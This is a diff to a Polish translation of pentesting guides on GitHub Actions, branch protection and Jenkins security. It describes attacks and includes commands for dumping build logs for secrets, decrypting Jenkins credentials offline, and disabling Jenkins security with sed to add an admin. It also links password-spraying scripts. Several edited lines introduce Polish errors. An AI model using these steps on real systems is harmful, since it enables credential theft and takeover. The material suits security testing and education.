 - Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić.
 - Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłyby zostać przeprowadzone **różne ataki**. Zobacz poniżej więcej informacji.
+To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłoby zostać przeprowadzone kilka **różnych ataków**. Zobacz poniżej więcej informacji.
 
 ## Akcje Git
 
@@ -142,7 +142,7 @@ Akcje Git pozwalają na automatyzację **wykonywania kodu, gdy wystąpi zdarzeni
 
 W _https://github.com/organizations/\<org_name>/settings/actions_ można sprawdzić **konfigurację akcji github** dla organizacji.
 
-Możliwe jest całkowite zablokowanie użycia akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
+Możliwe jest całkowite zabronienie używania akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
 
 Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do uruchomienia akcji Github** oraz **uprawnienia GITHUB_TOKEN** akcji Github, gdy jest uruchamiana.
 
@@ -170,7 +170,7 @@ example-command "$SUPER_SECRET"
 > [!WARNING]
 > Sekrety **mogą być dostępne tylko z Github Actions**, które je zadeklarowały.
 
-> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli tylko **je zmieniać**.
+> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli jedynie **je zmienić**.
 
 Dlatego **jedynym sposobem na kradzież sekretów githuba jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w tym scenariuszu będziesz mógł uzyskać dostęp tylko do sekretów zadeklarowanych dla tej Akcji).
 
@@ -184,7 +184,7 @@ runs-on: ubuntu-latest
 environment: env_name
 ```
 Możesz skonfigurować środowisko, aby było **dostępne** dla **wszystkich gałęzi** (domyślnie), **tylko chronionych** gałęzi lub **określić**, które gałęzie mogą uzyskać do niego dostęp.\
-Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas**, zanim pozwoli się na kontynuację wdrożeń.
+Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas** przed pozwoleniem na kontynuację wdrożeń.
 
 ### Git Action Runner
 
@@ -196,24 +196,24 @@ Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://git
 
 Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github.
 
-**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy.
+**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy runner.
 
 Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna.
 
 ### Git Action Compromise
 
-Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **kompromituje** **kontener**, w którym jest wykonywana.
+Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **skomprymuje** **kontener**, w którym jest wykonywana.
 
 > [!CAUTION]
-> Uruchomiona **złośliwa Akcja Github** mogłaby być **nadużywana** przez atakującego do:
+> Uruchomiona **złośliwa Akcja Github** mogłaby być **wykorzystana** przez atakującego do:
 >
 > - **Kraść wszystkie sekrety**, do których Akcja ma dostęp
-> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie przez usługę metadanych)
-> - **Nadużywać token** używany przez **workflow**, aby **ukraść kod repozytorium**, w którym Akcja jest wykonywana lub **nawet go zmodyfikować**.
+> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie za pośrednictwem usługi metadanych)
+> - **Wykorzystać token** użyty przez **workflow** do **kradzieży kodu repozytorium**, w którym Akcja jest wykonywana lub **nawet jego modyfikacji**.
 
-## Branch Protections
+## Ochrona gałęzi
 
-Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
+Ochrona gałęzi jest zaprojektowana, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
 
 **Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
@@ -222,12 +222,12 @@ Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repoz
 
 Różne ochrony mogą być stosowane do gałęzi (jak do master):
 
-- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to jest wybrane, mogą być wprowadzone różne inne ochrony:
+- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to zostanie wybrane, mogą być wprowadzone różne inne ochrony:
 - **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu.
 - **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić.
 - **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić)
 - **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów.
-- **Pozwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
+- **Zezwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
 - **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów).
 - **Wymagaj rozwiązania rozmowy przed scaleniem**. Wszystkie komentarze dotyczące kodu muszą być rozwiązane przed scaleniem PR.
 - **Wymagaj podpisanych commitów**. Commity muszą być podpisane.
@@ -236,9 +236,9 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
 - **Ogranicz, kto może przesyłać do pasujących gałęzi**. Ogranicz, kto może wysłać PR.
 
 > [!NOTE]
-> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master** na przykład, aby skompromitować pipeline CI/CD.
+> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master**, na przykład, aby skompromitować pipeline CI/CD.
 
-## References
+## Odniesienia
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index cb33a88b1..0944ffce9 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -4,7 +4,7 @@
 
 ## Podstawowe informacje
 
-Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
+Jenkins to narzędzie, które oferuje prostą metodę do ustanowienia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
 
 {{#ref}}
 basic-jenkins-information.md
@@ -26,7 +26,7 @@ Możesz być w stanie uzyskać wersję Jenkins z ścieżki _**/oops**_ lub _**/e
 
 ![](<../../images/image (146).png>)
 
-### Znane Luki
+### Znane luki
 
 {{#ref}}
 https://github.com/gquere/pwn_jenkins
@@ -42,7 +42,7 @@ basic-jenkins-information.md
 
 ### Rejestracja
 
-Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do niego. Tak prosto.**
+Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do nich. Tak prosto.**
 
 ### **Logowanie SSO**
 
@@ -58,15 +58,15 @@ msf> use auxiliary/scanner/http/jenkins_login
 
 Użyj [tego skryptu python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [tego skryptu powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
 
-### Ominięcie białej listy IP
+### IP Whitelisting Bypass
 
-Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM SaaS**, głównie w celu uruchamiania zadań w pipeline.
+Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM opartych na SaaS**, głównie w celu uruchamiania zadań w pipeline.
 
 Aby to osiągnąć, organizacje **dodają do białej listy** **zakresy IP** **platform SCM**, zezwalając im na dostęp do **wewnętrznego systemu CI** za pośrednictwem **webhooków**. Ważne jest jednak, aby zauważyć, że **każdy** może założyć **konto** na GitHubie lub GitLabie i skonfigurować je do **uruchamiania webhooka**, potencjalnie wysyłając żądania do **wewnętrznego systemu CI**.
 
 Sprawdź: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
-## Wewnętrzne nadużycia Jenkins
+## Internal Jenkins Abuses
 
 W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa.
 
@@ -79,13 +79,13 @@ Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
 basic-jenkins-information.md
 {{#endref}}
 
-### Lista użytkowników
+### Listing users
 
-Jeśli uzyskałeś dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Jeśli uzyskałeś dostęp do Jenkinsa, możesz wylistować innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
 
-### Zrzucanie buildów w celu znalezienia jawnych sekretów
+### Dumping builds to find cleartext secrets
 
-Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli buildów i zmienne środowiskowe buildów, aby mieć nadzieję na znalezienie jawnych sekretów.
+Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli budowy i zmienne środowiskowe budowy, aby mieć nadzieję na znalezienie tajemnic w postaci tekstu jawnego.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
@@ -97,7 +97,7 @@ Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/
 
 ![](<../../images/image (218).png>)
 
-Zazwyczaj znajdziesz poświadczenia ssh Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
+Zazwyczaj znajdziesz poświadczenia SSH Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
 
 ### **RCE w Jenkins**
 
@@ -107,7 +107,7 @@ Domyślnie Jenkins będzie **działał jako SYSTEM**. Tak więc, skompromitowani
 
 ### **RCE Tworzenie/Modyfikowanie projektu**
 
-Tworzenie/Modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
+Tworzenie/modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
 
 {{#ref}}
 jenkins-rce-creating-modifying-project.md
@@ -141,8 +141,8 @@ Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.
 
 Możliwe jest również **przechowywanie plików konfiguracyjnych pipeline w innych miejscach** (na przykład w innych repozytoriach) w celu **oddzielenia** dostępu do repozytorium i dostępu do pipeline.
 
-Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł **zmodyfikować** go i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
-Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdź lub nie).
+Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł go **zmodyfikować** i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
+Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdźne lub nie).
 
 Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
 
@@ -151,7 +151,7 @@ Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
 - **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób
 
 > [!NOTE]
-> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to wykorzystując**.
+> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomplikować firmy, po prostu to eksploatując**.
 
 ### RCE Pipeline
 
@@ -159,7 +159,7 @@ W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikuj
 
 ### Sprawdzanie zmiennych środowiskowych
 
-Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:**
+Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfile:**
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -184,7 +184,7 @@ basic-jenkins-information.md
 
 Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job/<project-name>/configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
 
-Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **`string`** **sekret**, otrzymasz ten **błąd**:
+Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **sekret** **`string`**, otrzymasz ten **błąd**:
 ```
 ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
 ```
@@ -219,8 +219,8 @@ env
 Na końcu tej strony możesz **znaleźć wszystkie typy poświadczeń**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
 > [!WARNING]
-> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając reverse shell w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
-> Więcej na ten temat w sekcji [Węzły i Agenci](./#nodes-and-agents) oraz w sekcji [Po Eksploatacji](./#post-exploitation).
+> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając odwróconą powłokę w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
+> Więcej na ten temat w sekcji [Nodes & Agents](./#nodes-and-agents) oraz w sekcji [Post Exploitation](./#post-exploitation).
 
 ### Wyzwalacze
 
@@ -232,7 +232,7 @@ triggers { cron('H */4 * * 1-5') }
 ```
 Sprawdź **inne przykłady w dokumentacji**.
 
-### Węzły i Agenci
+### Węzły i agenci
 
 Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
 
@@ -242,11 +242,11 @@ Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
 basic-jenkins-information.md
 {{#endref}}
 
-Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz **`Wbudowany Węzeł`** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
+Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz \*\*`Wbudowany Węzeł` \*\* (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
 
 ![](<../../images/image (249).png>)
 
-Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje Jenkins.
+Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje o Jenkinsie.
 
 Aby wskazać, że chcesz **uruchomić** **pipeline** w **wbudowanym węźle Jenkins**, możesz określić w pipeline następującą konfigurację:
 ```bash
@@ -286,7 +286,7 @@ cleanWs()
 }
 }
 ```
-## Odczyt dowolnego pliku do RCE
+## Odczyt dowolnych plików do RCE
 
 {{#ref}}
 jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -351,7 +351,7 @@ credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
 ```
 #### Decrypt Jenkins secrets offline
 
-Jeśli masz zrzutane **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
+Jeśli masz zrzut **potrzebnych haseł do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
 ```bash
 python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
 06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -365,7 +365,7 @@ println(hudson.util.Secret.decrypt("{...}"))
 ```
 ### Utwórz nowego użytkownika administratora
 
-1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkins\`
+1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkis\`
 2. Wyszukaj słowo `<useSecurity>true</useSecurity>` i zmień słowo **`true`** na **`false`**.
 1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
 3. **Uruchom ponownie** serwer **Jenkins**: `service jenkins restart`
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index dc9c054ef..b927a70cc 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -22,20 +22,20 @@ Jenkins może być skonfigurowany za pomocą wtyczek, aby być **dostępnym prze
 
 ### Klucze SSH
 
-Ten komponent zapewnia wbudowany serwer SSH dla Jenkins. Jest to alternatywne interfejs dla [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a polecenia mogą być wywoływane w ten sposób za pomocą dowolnego klienta SSH. (Z [dokumentacji](https://plugins.jenkins.io/sshd/))
+Ten komponent zapewnia wbudowany serwer SSH dla Jenkins. Jest to alternatywny interfejs dla [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a polecenia mogą być wywoływane w ten sposób za pomocą dowolnego klienta SSH. (Z [dokumentacji](https://plugins.jenkins.io/sshd/))
 
 ## Autoryzacja
 
 W `/configureSecurity` można **skonfigurować metodę autoryzacji Jenkins**. Istnieje kilka opcji:
 
-- **Każdy może robić cokolwiek**: Nawet dostęp anonimowy może administrować serwerem.
-- **Tryb dziedziczony**: Tak jak w Jenkins <1.164. Jeśli masz **rolę "admin"**, otrzymasz **pełną kontrolę** nad systemem, a **w przeciwnym razie** (w tym **użytkownicy anonimowi**) będziesz miał **dostęp do odczytu**.
+- **Każdy może robić cokolwiek**: Nawet anonimowy dostęp może administrować serwerem.
+- **Tryb dziedziczony**: Tak jak w Jenkins <1.164. Jeśli masz **rolę "admin"**, otrzymasz **pełną kontrolę** nad systemem, a **w przeciwnym razie** (w tym **anonimowi** użytkownicy) będziesz miał **dostęp do odczytu**.
 - **Zalogowani użytkownicy mogą robić cokolwiek**: W tym trybie każdy **zalogowany użytkownik ma pełną kontrolę** nad Jenkins. Jedynym użytkownikiem, który nie będzie miał pełnej kontroli, jest **użytkownik anonimowy**, który ma tylko **dostęp do odczytu**.
-- **Bezpieczeństwo oparte na macierzy**: Możesz skonfigurować **kto może robić co** w tabeli. Każda **kolumna** reprezentuje **uprawnienie**. Każdy **wiersz** **reprezentuje** **użytkownika lub grupę/rolę.** Obejmuje to specjalnego użytkownika '**anonimowy**', który reprezentuje **użytkowników nieautoryzowanych**, oraz '**autoryzowany**', który reprezentuje **wszystkich użytkowników autoryzowanych**.
+- **Bezpieczeństwo oparte na macierzy**: Możesz skonfigurować **kto może robić co** w tabeli. Każda **kolumna** reprezentuje **uprawnienie**. Każdy **wiersz** **reprezentuje** **użytkownika lub grupę/rolę.** Obejmuje to specjalnego użytkownika '**anonimowy**', który reprezentuje **użytkowników nieautoryzowanych**, a także '**autoryzowany**', który reprezentuje **wszystkich użytkowników autoryzowanych**.
 
 ![](<../../images/image (149).png>)
 
-- **Strategia autoryzacji oparta na macierzy projektów:** Ten tryb jest **rozszerzeniem** do "**Bezpieczeństwa opartego na macierzy**", które pozwala na **zdefiniowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
+- **Strategia autoryzacji oparta na projektach:** Ten tryb jest **rozszerzeniem** "**bezpieczeństwa opartego na macierzy**", które pozwala na **definiowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
 - **Strategia oparta na rolach:** Umożliwia definiowanie autoryzacji za pomocą **strategii opartej na rolach**. Zarządzaj rolami w `/role-strategy`.
 
 ## **Królestwo bezpieczeństwa**
@@ -47,7 +47,7 @@ W `/configureSecurity` można **skonfigurować królestwo bezpieczeństwa.** Dom
 - **LDAP**: Deleguj całą autoryzację do skonfigurowanego serwera LDAP, w tym zarówno użytkowników, jak i grupy.
 - **Baza danych użytkowników/grup Unix**: **Deleguje autoryzację do podstawowej bazy danych użytkowników Unix** na kontrolerze Jenkins. Ten tryb pozwoli również na ponowne wykorzystanie grup Unix do autoryzacji.
 
-Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
+Wtyczki mogą zapewniać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
 
 - [Active Directory](https://plugins.jenkins.io/active-directory)
 - [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
@@ -57,17 +57,17 @@ Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą by
 
 Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/):
 
-**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci wymiany, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
+**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci swap, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
 
-**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą **być zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
+**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą być **zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
 
-**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `etapów` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
+**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
 
 ## Sekrety Jenkins
 
 ### Szyfrowanie sekretów i poświadczeń
 
